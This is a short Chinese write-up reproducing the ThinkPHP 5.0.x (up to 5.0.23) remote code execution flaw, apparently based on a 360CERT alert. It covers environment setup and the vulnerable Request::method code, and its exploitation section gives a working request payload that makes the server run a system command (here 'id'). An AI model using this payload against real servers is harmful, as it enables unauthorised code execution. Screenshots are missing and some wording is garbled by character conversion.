2019 年 1 月 11 日,360CERT 發現某安全社群出現關于 ThinkPHP5 RCE 漏洞的威脅情報,不久之後 ThinkPHP5 官方與 GitHub 釋出更新。該更新修複了一處嚴重漏洞,該漏洞可導緻遠端指令代碼執行。
影響範圍:
ThinkPHP 5.0.x:5.0.x ~ 5.0.23
0X01 環境搭建:
CentOS/lamp
下載下傳源碼包5.0.23,其他範圍之内的版本也是可以的。
解壓到/opt/lamp/htdocs檔案夾,在http.conf檔案添加監聽端口82:Listen 82;在lamp的etc目錄下的虛拟主機檔案中添加環境路徑配置,如下圖所示:

添加完畢之後,重新開機lamp服務,通過浏覽器通路:
0X2 漏洞分析
漏洞主要出現在 ThinkPHPRequest 類的 method 方法中(thinkphp/library/think/Request.php)
Request 類可以實作對 HTTP 請求的一些設定,其中成員方法 method 用來擷取目前請求類型。
目前官方已經更新到5.4版本:
0X3 漏洞利用
抓包複現,完整的資料是:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
得到結果:
完整過程:
成功利用此漏洞的攻擊者可以對目标系統進行遠端代碼執行攻擊。目前,該漏洞的漏洞驗證代碼已在網際網路上公開,近期被利用的可能性較大。請盡快修複。